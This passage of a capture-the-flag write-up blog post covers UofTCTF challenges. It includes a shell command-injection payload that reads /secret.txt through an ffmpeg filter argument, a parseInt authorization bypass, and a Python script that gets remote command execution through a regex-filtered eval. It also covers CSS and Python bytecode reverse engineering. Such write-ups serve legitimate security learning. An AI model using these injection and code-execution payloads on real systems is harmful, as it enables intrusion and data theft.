Dec 11 18:37 root\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 run\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:24 sbin\n-rwxr-xr-x 1 root root 31 Dec 31 04:31 secret.txt\ndrwxr-xr-x 2 root root 4.0K Dec 7 09:43 srv\ndr-xr-xr-x 13 nobody nobody 0 Jan 15 03:31 sys\ndrwxrwxrwt 1 root root 4.0K Dec 11 18:37 tmp\ndrwxr-xr-x 1 root root 4.0K Jan 10 21:25 usr\ndrwxr-xr-x 1 root root 4.0K Dec 7 09:43 var\n[aost#0:0/libvorbis @ 0x7f5407a16380] Error initializing a simple filtergraph\nError opening output file /app/output/f8469a40-b356-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
Inside the block of text you can see secret.txt.
I try reading the flag with $(cat /secret.txt)…
1
$ ffmpeg -i \"/app/upload/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg\" -y -af \"asetrate=44100*$(cat /secret.txt),aresample=44100,atempo=1/$(cat /secret.txt)\" \"/app/output/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg\"\n\nffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers\n built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014\n configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl\n libavutil 58. 29.100 / 58. 29.100\n libavcodec 60. 31.102 / 60. 31.102\n libavformat 60. 16.100 / 60. 16.100\n libavdevice 60. 3.100 / 60. 3.100\n libavfilter 9. 12.100 / 9. 12.100\n libswscale 7. 5.100 / 7. 5.100\n libswresample 5. 0.100 / 5. 0.100\n libpostproc 57. 3.100 / 57. 3.100\nInput #0, matroska,webm, from '/app/upload/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg':\n Metadata:\n encoder : Chrome\n Duration: N/A, start: 0.000000, bitrate: N/A\n Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] [Eval @ 0x7ffc67764920] Undefined constant or missing '(' in 'uoftctf{Y0URPitchIS70OH!9H}'\n[Parsed_asetrate_0 @ 0x7f09addf2ec0] Unable to parse option value \"44100*uoftctf{Y0UR Pitch IS 70O H!9H}\"\nError applying option 'sample_rate' to filter 'asetrate': Invalid argument\n[aost#0:0/libvorbis @ 0x7f09ad892380] Error initializing a simple filtergraph\nError opening output file /app/output/25767170-b357-11ee-bed6-0fc1d21dc1fb.ogg.\nError opening output files: Invalid argument\n
Which gives us the flag (somewhere in there)!
Flag: uoftctf{Y0URPitchIS70OH!9H}
Files: None provided :(
Web/The Varsity (181 solves)
Created by: SteakEnthusiast
Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.
We are provided with a webpage which asks for us to register and an optional voucher, which I keep in mind for later.
Once registered (no voucher) we can see an article reading site.
Trying to read Article 10 results in an error due to our role.
Looking inside the source code for article reading, article 10 seems to contain the flag.
1
2
3
4
5
6
7
8
9
10
11
const articles = [
{
"title": "Pioneering the Future: UofT's Revolutionary AI Research",
"content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
},
...
{
title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
content: "Your flag is: " + FLAG,
},
];
And this is the code that parses the authentication to read articles:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let issue = req.body.issue;
if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}
if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}
issue = parseInt(issue);
if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}
return res.json(articles[issue]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "Not Authenticated" });
}
} else {
return res.status(403).json({ message: "Not Authenticated" });
}
});
The part that catches my eye is the vaidation of the issue variable before the parseInt.
Looking into the documentation of parseInt we can see it converts the following values:
1
2
3
4
5
6
7
parseInt("10"); => 10
parseInt("10.00"); => 10
parseInt("10.33"); => 10
parseInt("34 45 66"); => 34
parseInt(" 60 "); => 60
parseInt("40 years"); => 40
parseInt("He was 40"); => NaN
So, we could give a vlue like 9 years as our article ID and read the article without permissions.
Looking at the default request for Article 10:
1
2
3
4
5
6
7
POST /article HTTP/1.1
Host: uoftctf-the-varsity.chals.io
Content-Type: application/json
Content-Length: 13
Cookie: token=...
{"issue":"9"}
I change "9" to "9 years" and I get the article back:
1
2
3
4
{
"title":"UofT Hosts its 2nd Inaugural Capture the Flag Event",
"content":"Your flag is: uoftctf{w31rd_b3h4v10r_0f_parseInt()!}"
}
There we go!
Flag: uoftctf{w31rd_b3h4v10r_0f_parseInt()!}
Files: the_varsity.zip
Web/No Code (148 solves)
Created by: SteakEnthusiast
I made a web app that lets you run any code you want. Just kidding!
Trying to visit the website returns a ‘Not Found’ error, so I decide to look at the source code first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, jsonify
import re
app = Flask(__name__)
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)
return jsonify({"output": result}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)
The source code is incredibly short and has a regex for all printable characters… Let’s see what we can do!
Looking at this table we can see we have access to some characters just before 0x20, most interestingly 0x12 or a newline.
That means we can smuggle in python to evaluate from the regex by utilising a \n at the start of our payload, now how do we exfiltrate?
Funnily enough I found it quite challenging to get a good result out from eval() so I ended up making a script to try my possiblities. After alot of trial and error I found this to be a working payload:
1
2
3
4
5
6
7
8
9
import requests,json
cmd=input('Commmand: ')
PL=f"\nstr(exec(\"import os; result=os.popen(\'{cmd}\').read();\"))+result"
r=requests.post(
"https://uoftctf-no-code.chals.io/execute",
data={"code": PL}
)
data=json.loads(r.content.decode())
print(data['output'][4:])
After probing with ls I find the flag in the current directory and run cat flag.txt to read the flag.
1
2
3
4
5
6
7
8
$ python3 exploit.py
Commmand: ls
app.py
flag.txt
requirements.txt
$ python3 exploit.py
Commmand: cat flag.txt
uoftctf{r3g3x_3p1c_f41L_XDDD}
And there it is!
Flag: uoftctf{r3g3x_3p1c_f41L_XDDD}
Files: app.py
Reverse Engineering/CSS Password (148 solves)
Created by: notnotpuns
My web developer friend said JavaScript is insecure so he made a password vault with CSS. Can you find the password to open the vault? Wrap the flag in uoftctf{} Make sure to use a browser that supports the CSS :has selector, such as Firefox 121+ or Chrome 105+. The challenge is verified to work for Firefox 121.0.
Looking at the file were provided is ALOT of css, the page looks like this:
It has a total of 19 bytes, each byte 8 bits, looking at the CSS comments we see a format. Let’s take this one for example.
/* b3_8_l1_c6 */
- b3 = Byte 3
- 8 = 8th Bit
- l1 = LED 1
- c6 = Check 6
Looking at LED2 it seems to take only the 1st bit, and we can see in the CSS content the following for each LED.
1
2
3
4
5
6
7
8
9
.wrapper:has(.byte:nth-child(18) .latch:nth-child(1) .latch__reset:active) .checker:nth-of-type(3) .checker__state:nth-child(18) {
transform: translateX(-100%);
transition: transform 0s;
}
.wrapper:has(.byte:nth-child(18) .latch:nth-child(1) .latch__set:active) .checker:nth-of-type(3) .checker__state:nth-child(18) {
transform: translateX(0%);
transition: transform 0s;
}
When the latch is set to reset (0) we get a translation. If we set all the 1st bits for each byte to a 0 we get a green LED! Alphabetical characters tend to start with a 0 in binary so this makes alot of sense! (Thanks skat :3).
So, when the translateX(-100%) is set that is the correct option! I now make a script with css.js to parse the CSS automatically:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var cssdata = "..."
var cssjs = require("./css.js");
var parser = new cssjs.cssjs();
var parsed = parser.parseCSS(cssdata);
data=Array(19*8)
for (x in parsed) {
selector=parsed[x].selector
byte=selector.split('.wrapper:has(.byte:nth-child(')[1].split(').latch:')[0]
bit=selector.split('.latch:nth-child(')[1].split(').latch__')[0]
state=selector.split(').latch__')[1].split(':active)')[0] === "set" ? 1 : 0
val=parsed[x].rules[0].value
if (val === "translateX(-100%)") {
data[((byte*8)-1)+bit]=state
}
}
console.log(data.join(""))
1
2
$ node cssparse.js
01000011011100110101001101011111011011000011000001100111001100010110001101011111011010010111001101011111011001100111010101101110010111110011001101101000
The binary decodes to our flag content: CsS_l0g1c_is_fun_3h
There we go!
Flag: uoftctf{CsS_l0g1c_is_fun_3h}
Files: css-password.html
Reverse Engineering/All Worbled Up (86 solves)
Created by: cartoonracoon
last time we had a worbler, it failed miserably and left everyone sad, and no one got their flags. now we have another one, maybe it’ll work this time? Hint: try not to byte off more than you can chew! what does your code look like?
We are also given the following snippet of the code running:
1
2
3
4
5
6
7
8
9
10
_ _
| | | |
__ _____ _ __| |__ | | ___ _ __
\ \ /\ / / _ \| '__| '_ \| |/ _ \ '__|
\ V V / (_) | | | |_) | | __/ |
\_/\_/ \___/|_| |_.__/|_|\___|_|
==========================================
Enter flag: *redacted*
Here's your flag: a81c0750d48f0750
Now, looking at the file we are given and some basic research we find this is disassembled python code (thanks again to my teammate, skat). Looking online there were some tools referenced to re-assemble the code from this state but none seemed compatible so we decided to approach it the long way and manually reconstruct the code. We both split up to work on functions and create a 1:1 bytecode copy.
We checked our work using a basic script:
1
2
3
from dis import dis
from worbler import main
print(dis(main))
And then manually comparing the output against the original code.
We arrive at the following exact replica of the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def main():
import re
pattern=re.compile("^uoftctf\\{([bdrw013]){9}\\}$")
def worble(s):
s1 = 5
s2 = 31
for n in range(len(s)):
s1 = (s1 + ord(s[n]) + 7) % 65521
s2 = (s1 * s2) % 65521
return (s2 << 16) | s1
def shmorble(s):
r=''
for i in range(len(s)):
r+=s[i-len(s)]
return r
def blorble(a,b):
return format(a,'x')+format(b,'x')
print(' _ _ ')
print(' | | | | ')
print(' __ _____ _ __| |__ | | ___ _ __ ')
print(" \\ \\ /\\ / / _ \\| '__| '_ \\| |/ _ \\ '__| ")
print(' \\ V V / (_) | | | |_) | | __/ | ')
print(' \\_/\\_/ \\___/|_| |_.__/|_|\\___|_| ')
print(' ')
print('==========================================')
flag=input('Enter flag: ')
if not pattern.match(flag):
print('Incorrect format!'); return None
a=worble(flag)
b=worble(flag[::-1])
print("Here's your flag:",shmorble(blorble(a,b))); return None
Looking into the functions we can see that we give a flag input, and then the maths operations of the functions will distort the input into an output string. We can also see from the pattern we only have 7 characters to choose from for the 9 characters inside the flag.
We utilise crunch to generate a wordlist to use:
1
2
3
4
5
6
7
$ crunch 9 9 bdrw013 > wordlist.txt
Crunch will now generate the following amount of data: 403536070 bytes
384 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 40353607
Now with the wordlist we can reorganise the existing script to check till we get the correct output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def main(flag):
import re
pattern=re.compile("^uoftctf\\{([bdrw013]){9}\\}$")
def worble(s):
s1 = 5
s2 = 31
for n in range(len(s)):
s1 = (s1 + ord(s[n]) + 7) % 65521
s2 = (s1 * s2) % 65521
return (s2 << 16) | s1
def shmorble(s):
r=''
for i in range(len(s)):
r+=s[i-len(s)]
return r
def blorble(a,b):
return format(a,'x')+format(b,'x')
if not pattern.match(flag):
return None
a=worble(flag)
b=worble(flag[::-1])
return shmorble(blorble(a,b))
with open("wordlist.txt", "r") as f:
wordlist = f.read().split("\n")
for i,word in enumerate(wordlist):
if i % 10000 == 0:
print(f"Currently on {i}")
output = main("uoftctf{"+word+"}")
if output == "a81c0750d48f0750":
print(word)
break
Which eventually returns: d3w0rb13d as the value.
We use this as our flag!
Flag: uoftctf{d3w0rb13d}
Files: worbler
Thanks for reading!
Feel free to give me feedback or follow me on Twitter and LinkedIn.
You can also find my other contacts on the whoami page.
Unsolved & Challenge Archival
A list of challenges I didn’t solve, and the downloads (if provided) to try them for yourself! All challenges are sorted by solve count.
Cryptography - 4/5 solved
✅ repeat - 317 solves
Created by: SteakEnthusiast
I’m a known repeat offender when it comes to bad encryption habits. But the secrets module is secure, so you’ll never be able to guess my key!
✅ Pianoman - 167 solves
Created by: XiaoXiangjiao
Windy, a piano prodigy, believes that RSA encryption may not provide sufficient security to safeguard his invaluable piano mastery secrets. So, he uses his musical talents to add another layer of security to the RSA encryption scheme. Now, no one will be able to figure out his secrets!
Note: The flag is UofTCTF{plaintext}.
✅ Wheel Barrow - 97 solves
Created by: notnotpuns
A wheelbarrow ran over the flag. Can you fix it?
Please wrap the flag inuoftctf{}. Please keep the$in the flag when submitting.
Files: transformed.txt
✅ Clever Thinking - 97 solves
Created by: Phoenix
I think that Diffie-Hellman is better with some curves, maybe elliptic ones. Let’s share a secret!
Wrap the secret (which is a point) inuoftctf{(x:y:z)}, where(x:y:z)are homogeneous coordinates.
Files: chal.sage
Export Grade Cipher - 10 solves
Created by: nullptr
This “state of the art”™ cipher can be exported to your enemies without restriction.
Files: chal.py exportcipher.py
Forensics - 4/6 solved
✅ Secret Message 1 - 730 solves
Created by: SteakEnthusiast
We swiped a top-secret file from the vaults of a very secret organization, but all the juicy details are craftily concealed. Can you help me uncover them?
Files: secret.pdf
✅ EnableMe - 150 solves
Created by: SteakEnthusiast
You’ve received a confidential document! Follow the instructions to unlock it.
Note: This is not malware
Files: invoice.docm
✅ No grep - 64 solves
Created by: 0x157
Use the VM from
Hourglassto find the 2nd flag on the system !
Files: ctf_vm.zip
✅ Hourglass - 56 solves
Created by: 0x157
No EDR agent once again, we imaged this workstation for you to find the evil !
Files: ctf_vm.zip
Secret Message 2 - 10 solves
Created by: SteakEnthusiast
The super secret organization changed their flag again. Can you work your magic again?
Hint: The flag characters contain abcdefghijklmnopqrstuvwxyz_
Files: redacted.png
IoT - 5/5 solved
✅ Baby's First IoT Flag 2 - 314 solves
Part 2 - What company makes the processor for this device? https://fccid.io/Q87-WRT54GV81/Internal-Photos/Internal-Photos-861588. Submit the answer to port 6318.
Files: None provided :(
✅ Baby's First IoT Flag 1 - 303 solves
Part 1 - Here is an FCC ID, Q87-WRT54GV81, what is the frequency in MHz for Channel 6 for that device? Submit the answer to port 3895.
Files: None provided :(
✅ Baby's First IoT Flag 5 - 86 solves
Part 5 - At the link below you will find the firmware. Extract the contents, find the hidden back door in the file that is the first process to run on Linux, connect to the backdoor, submit the password to get the flag. Submit the password to port 4545.**
Files: firmware1.bin
✅ Baby's First IoT Flag 3&4 - 63 solves
Part 3 - Submit the command used in U-Boot to look at the system variables to port 1337 as a GET request ex. http://35.225.17.48:1337/{command}. This output is needed for another challenge. There is NO flag for this part.
Part 4 – Submit the full command you would use in U-Boot to set the proper environment variable to a /bin/sh process upon boot to get the flag on the webserver at port 7777. Do not include the ‘bootcmd’ command. It will be in the format of “something something=${something} something=something” Submit the answer on port 9123.
Files: None provided :(
✅ Baby's First IoT Flag 6 - 48 solves
Part 6 - At the link below you will find another firmware, submit the number of lines in the ‘ethertypes’ file multiplied by 74598 for the flag on port 8888.
Files: firmware2.bin
Jail - 1/5 solved
✅ Baby's First Pyjail - 295 solves
Created by: SteakEnthusiast
@windex told me that jails should be sourceless. So no source for you.
Files: None provided :(
Baby JS Blacklist - 74 solves
Created by: SteakEnthusiast
I hate functions. I hate them so much, that I made it so that you can never call them!
Note: Solving this challenge will unlock another challenge, “JS Blacklist”.
Files: chal.js package.json Dockerfile
Zero - 34 solves
Created by: SteakEnthusiast
Zero letters, zero numbers, zero underscores, zero builtins, and zero hope of escaping
Files: zero.zip
JS Jail - 4 solves
Created by: SteakEnthusiast
“use really_really_really_strict”;
Can you escape my jail now?
Files: chal.js package.json Dockerfile
JS Evaluator - 2 solves
Created by: SteakEnthusiast
Last year, I found a critical security vulnerability in Babel. I heard
path.evaluate()is secure now, but it still wasn’t useful enough for me. I added some code to enhance the functionality, without impacting the security!
Files: chal.js evaluation_patched.js package.json Dockerfile
Miscellaneous - 2/4 solved
✅ Out of the Bucket - 506 solves
Created by: windex
Check out my flag website!
Files: None provided :(
✅ Out of the Bucket 2 - 122 solves
Created by: windex
This is a continuation of “Out of the Bucket”. Take a look around and see if you find anything!
Files: None provided :(
Source Code Recovery - 13 solves
Created by: nullptr
Oops I deleted the source code, do you mind recovering it?
Files: chal.py
Prediction API - 0 solves
Created by: windex
I downloaded a model that performs categorical classification on images. I want to use this model in a web application, but it doesn’t seem to be very accurate. Can you check out the weights and see if you can figure out what’s wrong?
Files: None provided :(
OSINT - 1/1 solved
✅ Flying High - 354 solves
Created by: windex
I’m trying to find a flight I took back in 2012. I forgot the airport and the plane, but I know it is the one with an orange/red logo on the right side of this photo I took. Can you help me identify it?
The flag format is UofTCTF{AIRPORT_AIRLINE_AIRCRAFT}. AIRPORT is the 3 letter IATA code, AIRLINE is the name of the airline (dash-separated if required), and AIRCRAFT is the aircraft model and variant (omit manufacturer name). For example, UofTCTF{YYZ_Air-Canada_A320-200} or UofTCTF{YYZ_Delta_767-300}.
Note: The aircraft variant should be of X00 format; ie. there may be models with XYZ-432, but the accepted variant will be XYZ-400.
Author: windex
Files: airplane.png
Pwn - 4/4 solved
✅ basic-overflow - 316 solves
Created by: drec
This challenge is simple.
It just gets input, stores it to a buffer.
It callsgetsto read input, stores the read bytes to a buffer, then exits.
What isgets, you ask? Well, it’s time you read the manual, no?man 3 gets
Cryptic message from author: There are times when you tell them something, but they don’t reply. In those cases, you must try again. Don’t just shoot one shot; sometimes, they’re just not ready yet.
Files: basic-overflow
✅ baby-shellcode - 232 solves
Created by: drec
This challenge is a test to see if you know
how to write programs that machines can understand.
Oh, you know how to code?
Write some code into this program,
and the program will run it for you.
What programming language, you ask?
Well… I said it’s the language that machines can understand.
Files: baby-shellcode
✅ patched-shell - 199 solves
Created by: drec
Okay, okay. So you were smart enough to do basic overflow huh…
Now try this challenge!
I patched the shell function so it calls system instead of execve…
so now your exploit shouldn’t work! bwahahahahaha
Note: due to the copycat nature of this challenge, it suffers from the same bug that was in basic-overflow. see the cryptic message there for more information.
Files: patched-shell
✅ nothing-to-return - 137 solves
Created by: drec
Now this challenge has a binary of a very small size.
“The binary has no useful gadgets! There is just nothing to return to!”
nice try… ntr
Reverse Engineering - 2/5 solved
✅ CSS Password - 148 solves
Created by: notnotpuns
My web developer friend said JavaScript is insecure so he made a password vault with CSS. Can you find the password to open the vault?
Wrap the flag in uoftctf{}
Make sure to use a browser that supports the CSS :has selector, such as Firefox 121+ or Chrome 105+. The challenge is verified to work for Firefox 121.0.
Files: css-password.html
✅ All Worbled Up - 86 solves
Created by: cartoonraccoon
last time we had a worbler, it failed miserably and left everyone sad, and no one got their flags. now we have another one, maybe it’ll work this time?
output:
_ _
__ _____ _ ____ _ _ __
\ \ /\ / / _ | ‘‘_ / _ \ ‘__
\ V V / (_)_) __/
// ___/_ _.__/ _
_
Files: worbler
Random Maze - 47 solves
Created by: cartoonraccoon
a little maze for you! just don’t get lost! :3 remember, if you end up somewhere that doesn’t look right, it probably isn’t!
free hint: the entire flag is lower-alphanumeric ASCII.
Hint: you’re a l33t h4xxor aren’t you? i’m sure you can figure it out.
Files: maze
CEO's Lost Password - 42 solves
Created by: Ido
Hello there brave programmer!
I am the CEO of TotallySecureBank™, I have a lot of money in my bank account but I forgot my password! My username is admin and I have $100000 in my account.
If you could recover my account you can use my password as a flag (flag would be uoftctf{MyPasswordHere})
You can try the bank software by running java -jar BankChallenge.jar and use the admin user user with the password
Files: BankChallenge.jar
Love Debug - 29 solves
Created by: drec
If you send this to someone, you’ll be dumped… unless it’s someone who knows a thing or two about reverse engineering…
Side Note: A love letter is what inspired the author to become a hacker.
Hint: if you see awww on the output, your input is the correct flag. if you see nope, please try again
Files: love-letter-for-you
Web - 3/6 solved
✅ Voice Changes - 206 solves
Created by: Ido
I made a cool app that changes your voice.
Files: None provided :(
✅ The Varsity - 181 solves
Created by: SteakEnthusiast
Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.
Files: the_varsity.zip
✅ No Code - 148 solves
Created by: SteakEnthusiast
I made a web app that lets you run any code you want. Just kidding!
Files: app.py
Guestbook - 97 solves
Created by: Ido
I made this cool guestbook for the CTF. Please sign it.
Files: index.html
My First App - 32 solves
Created by: SteakEnthusiast
I’m not much of a web developer, so my friends advised me to pay for a very expensive firewall to keep my first app secure from pesky hackers. Come check it out!
Files: None provided :(
Jay's Bank - 17 solves
Created by: SteakEnthusiast
My bank is still in pre-alpha-alpha-alpha stage, but I’m sure it’s secure enough to keep all of your information safe.
Files: jays-bank.zip












